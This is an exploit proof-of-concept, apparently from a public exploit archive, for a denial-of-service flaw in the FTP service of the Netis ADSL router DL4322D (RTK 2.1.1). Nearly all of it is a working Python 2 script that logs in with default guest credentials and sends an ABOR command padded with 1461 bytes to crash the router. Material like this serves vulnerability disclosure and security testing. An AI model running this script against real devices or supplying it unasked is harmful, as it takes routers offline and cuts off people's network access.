# Exploit Title: Netis ADSL Router DL4322D RTK 2.1.1 - Denial of Service (PoC)
# Author: Cakes
# Discovery Date: 2018-09-16
# Vendor Homepage: https://www.netis-systems.com
# Software Link: https://www.netis-systems.com/Home/detail/id/74.html
# Tested Version: RTK 2.1.1
# Tested on OS: Kali Linux
# CVE: N/A
 
# Description
# The FTP service is vulnerable to a Denial of Service attack. Attackers simply need to log
# into the router and send and valid FTP command with a character offset of 1461 as the command input
 
import socket 
 
evil = '\x41'*1461
 
print "\n[*] Netis ADSL Router DL4322D RTK 2.1.1 - Denial of Service (PoC)"
print "\r[i] Creating socket"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "\r[i] Connecting..."
connect = s.connect(('192.168.1.1',21))
s.recv(1024)
 
try:
    s.send('USER guest\r\n')
    s.recv(1024)
    s.send('PASS guest\r\n')
    s.recv(1024)
    print "\r[+] Connected"
except:
    print "\r[!] Credentials aren't working. Please change if none default"
     
print "\r[+] Sending Payload"
 
try:
    s.send('ABOR %s' % (evil))
    print "\r[+] Payload sent"
    print "\r[+] Router offline"
except:
    print "\r[!] Something went wrong"
     
s.close()